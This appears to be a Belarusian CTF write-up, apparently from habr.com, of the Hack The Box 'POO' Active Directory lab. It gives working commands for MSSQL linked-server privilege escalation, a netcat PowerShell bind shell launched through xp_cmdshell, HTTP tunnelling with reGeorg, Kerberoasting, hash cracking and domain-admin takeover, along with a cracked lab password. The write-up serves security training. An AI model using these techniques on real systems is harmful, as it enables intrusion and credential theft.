У дадзеным артыкуле разбяром праходжанне не проста машыны, а цэлай міні-лабараторыі з пляцоўкі.
Як сказана ў апісанні, POO прызначаны для праверкі навыкаў на ўсіх стадыях нападаў у невялікім асяроддзі Active Directory. Мэта складаецца ў тым, каб скампраметаваць даступны хост, падвысіць прывілеі і, у канчатковым выніку, скампраметаваць увесь дамен, сабраўшы пры гэтым 5 сцягоў.
Падключэнне да лабараторыі ажыццяўляецца праз VPN. Рэкамендуецца не падлучацца з працоўнага кампутара ці з хаста, дзе маюцца важныя для вас дадзеныя, бо Вы пападаеце ў прыватную сетку з людзьмі, якія нешта ды ўмеюць у вобласці ИБ 🙂
Арганізацыйная інфармацыя
Каб вы маглі даведвацца аб новых артыкулах, праграмным забеспячэнні і іншай інфармацыі, я стварыў
Уся інфармацыя прадстаўлена выключна ў адукацыйных мэтах. Аўтар гэтага дакумента не нясе ніякай адказнасці за любую шкоду, прычыненую каму-небудзь у выніку выкарыстання ведаў і метадаў, атрыманых у выніку вывучэння дадзенага дакумента.
Увядзенне
Дадзены endgame складаецца з дзвюх машын, і змяшчае 5 сцягоў.
Гэтак жа даецца апісанне і адрас даступнага хаста.
Пачнём!
Recon flag
Дадзеная машына мае IP адрас 10.13.38.11, які я дадаю ў /etc/hosts.
10.13.38.11 poo.htb
Перш за ўсё скануем адкрытыя парты. Бо сканаваць усе парты nmap'ом доўга, то я спачатку зраблю гэта з дапамогай masscan. Мы скануем усе TCP і UDP парты з інтэрфейсу tun0 з хуткасцю 500 пакетаў у секунду.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Зараз для атрымання больш падрабязнай інфармацыі аб сэрвісах, якія працуюць на партах, запусцім сканіраванне з опцыяй -А.
nmap -A poo.htb -p80,1433
Такім чынам, у нас ёсць службы IIS і MSSQL. Пры гэтым мы даведаемся рэальнае DNS імя дамена і кампутара. На вэб сэрвэры нас сустракае хатняя старонка IIS.
Давайце перабярэм дырэкторыі. Я для гэтага выкарыстоўваю gobuster. У параметрах паказваем колькасць патокаў 128 (-t), URL (-u), слоўнік (-w) і пашырэнні, якія нас цікавяць (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Такім чынам мы маем HTTP аўтэнтыфікацыю для дырэкторыі /admin, а таксама даступны файл сховішчы службы працоўнага стала .DS_Store. .DS_Store - гэта файлы, у якіх захоўваюцца карыстацкія налады для тэчкі, такія як спіс файлаў, размяшчэнне значкоў, абраны фонавы малюнак. Такі файл можа трапляць у дырэкторыю вэб-сервера ў вэб распрацоўшчыкаў. Такім чынам, мы атрымаць інфармацыю аб змесціве каталог. Для гэтага можна выкарыстоўваць
python3 dsstore_crawler.py -i http://poo.htb/
Мы атрымліваем змесціва каталога. Самае цікавае тут - гэта каталог /dev, з якога мы ў двух галінках можам паглядзець зыходнікі і файлы db. Але мы можам першыя 6 сімвалаў імя файлаў і дырэкторый, калі сэрвіс уразлівы да IIS ShortName. Праверыць наяўнасць дадзенай уразлівасці можна з дапамогай
І на ходзім адзін тэкставы файл, які пачынаецца з "poo_co". Не ведаючы што рабіць далей, я проста абраў са слоўніка дырэкторый усе словы, якія пачынаюцца на «co».
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
І перабяром з дапамогай wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
І знаходзім прыдатнае слова! Глядзім дадзены файл, захоўваем уліковыя дадзеныя (мяркуючы па параметры DBNAME, яны ад MSSQL).
Здаем сцяг, і мы рухаемся наперад на 20%.
Huh flag
Падлучаемся да MSSQL, я выкарыстоўваю DBeaver.
Нічога цікавага ў дадзенай базе не знаходзім, давайце створым Рэдактар SQL і праверым, якія ёсць карыстачы.
SELECT name FROM master..syslogins;
У нас два карыстачы. Давайце праверым свае прывілеі.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Такім чынам, прывілеяў ніякіх няма. Давайце паглядзім звязаныя серверы, пра дадзеную методыку я падрабязна пісаў
SELECT * FROM master..sysservers;
Такім чынам, мы знаходзім яшчэ адзін SQL Server. Давайце праверым выкананне каманд на гэтым серверы з дапамогай openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
І мы нават можам выбудоўваць дрэва запытаў.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Справа ў тым, што калі мы выконваем запыт на злучаны сервер, то запыт выконваецца ў кантэксце іншага карыстача! Давайце паглядзім, у кантэксце якога карыстальніка мы працуем на злучаным серверы.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
А зараз паглядзім у якім кантэксце выконваюцца запыт са звязанага сервера на наш!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Такім чынам, гэта кантэкст DBO, які павінен валодаць усімі прывілеямі. Давайце праверым прывілеі ў выпадку запыту са звязанага сервера.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Як можна заўважыць, у нас ёсць усе прывілеі! Давайце так створым свайго адміна. Але праз openquery не пускаюць, давайце зробім гэта праз EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
І зараз падлучаемся з уліковымі дадзенымі новага карыстача, назіраем новую базу дадзеных flag.
Здаем гэты сцяг і ідзем далей.
BackTrack flag
Атрымаем шелл з дапамогай MSSQL, я выкарыстоўваю mssqlclient з пакета impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Нам трэба здабыць паролі, і першае, што мы ўжо сустракалі, - гэта сайт. Такім чынам нам патрэбен канфіг вэб сервера (кінуць зручны шелл не атрымліваецца, мабыць працуе firewall).
Але доступ забаронены. Хоць мы можам прачытаць файл з MSSQL, трэба толькі ведаць якія мовы праграмавання настроены. І ў дырэкторыі MSSQL даведаемся, што ёсць Python.
Тады прачытаць файл web.config няма ніякіх праблем.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
З знойдзенымі ўліковымі дадзенымі зойдзем на /admin і забіраем сцяг.
Foothold flag
Насамрэч ад выкарыстання фаервола ёсць некаторыя нязручнасці, але праглядаючы налады сеткі, заўважаем, што таксама выкарыстоўваецца пракол IPv6!
Дадамо гэты адрас у /etc/hosts.
dead:babe::1001 poo6.htb
Давайце зноў прасканіруем хост, але ўжо па пратаколе IPv6.
І па IPv6 даступная служба WinRM. Падлучымся з знойдзенымі ўліковымі дадзенымі.
На працоўным стале ёсць сцяг, здаем яго.
P00ned flag
Правёўшы разведку на хасце з дапамогай
setspn.exe -T intranet.poo -Q */*
Давайце выканаем каманду праз MSSQL.
Паказаным спосабам мы атрымліваем SPN карыстачоў p00_hr і p00_adm, а гэта азначае, што яны ўразлівы да такой атацы, як Kerberoasting. Калі сцісла, то мы можам атрымаць хешы іх пароляў.
Для пачатку трэба атрымаць стабільны шелл ад імя карыстальніка MSSQL. Але бо нас абмяжоўваюць у доступе, то мы маем сувязь з хастом толькі праз 80 і 1433 порт. Але ёсць магчымасць тунэлявання трафіку праз 80 порт! Для гэтага скарыстаемся
Але пры спробе звярнуцца да яго атрымліваем памылку 404. Гэта азначае, што файлы *.aspx не выконваюцца. Каб файлы з дадзеным пашырэнням сталі выконвацца, усталюем ASP.NET 4.5 наступным чынам.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
І зараз пры звароце да tunnel.aspx атрымліваем адказ, што ўсё гатова да працы.
Давайце запусцім кліенцкую частку прыкладання, якая будзе займацца рэтрансляваннем трафіку. Мы будзем перанакіроўваць увесь трафік з 5432 порта на сервер.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
І выкарыстоўваем proxychains, каб слаць трафік любога прыкладання праз наш проксі. Дадамо гэты проксі ў файл канфігурацыі /etc/proxychains.conf.
Цяпер загрузім на сервер праграму
Зараз праз MSSQL запускаем листенер.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
І падключаемся праз наш проксі.
proxychains rlwrap nc poo.htb 4321
І давайце атрымаем хешы.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Далей трэба перабраць гэтыя хешы. Так як у rockyou слоўніку дадзеных пароляў не было, то я выкарыстоўваў УСЕ слоўнікі passwords, прадстаўленыя ў Seclists. Для перабору выкарыстоўваем hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
І знаходзім абодва пароля, першы ў слоўніку dutch_passwordlist.txt, а другі ў Keyboard-Combinations.txt.
І так у нас ёсць тры карыстальніка, ідзем на кантролер дамена. Спачатку даведаемся яго адрас.
Выдатна, мы даведаліся IP адрас кантролера дамена. Давайце даведаемся ўсіх карыстальнікаў дамена, а таксама хто з іх з'яўляецца адміністратарам. Для загрузім скрыпт для атрымання інфармацыі PowerView.ps1. Потым падлучымся з дапамогай evil-winrm, паказаўшы ў параметры -s дырэкторыю са скрыптам. А потым проста загрузім скрыпт PowerView.
Цяпер нам даступныя ўсе яго функцыі. Карыстальнік p00_adm падобны да прывілеяванага, таму будзем працаваць у яго кантэксце. Створым аб'ект PSCredential для гэтага карыстальніка.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Цяпер усе каманды Powershell, дзе мы пакажам Creds, будуць выкананы ад імя p00_adm. Давайце вывядзем спіс карыстальнікаў і атрыбут AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
І так, наш карыстач рэальна з'яўляецца прывілеяваным. Давайце зірнем, у якіх групах ён складаецца.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Канчаткова сцвярджаемся, што карыстач з'яўляецца адміністратарам дамена. Гэта дае яму права выдаленага ўваходу на кантролер дамена. Давайце паспрабуем увайсці праз WinRM, выкарыстоўваючы наш тунэль. Мяне збянтэжылі памылкі, якія выдаюцца reGeorg'ам пры выкарыстанні evil-winrm.
Тады скарыстаемся іншым, лягчэйшым,
Спрабуем падключыцца, і мы ў сістэме.
Але сьцяга няма. Тады паглядзі карыстачу і праверым працоўныя сталы.
У mr3ks знаходзім сцяг і лабараторыя пройдзена на 100%.
Вось і ўсё. У якасці зваротнай сувязі, пракаментуйце - ці даведаліся Вы нешта новае з дадзенага артыкула і ці была яна Вам карысная.
Вы можаце далучыцца да нас у
Крыніца: habr.com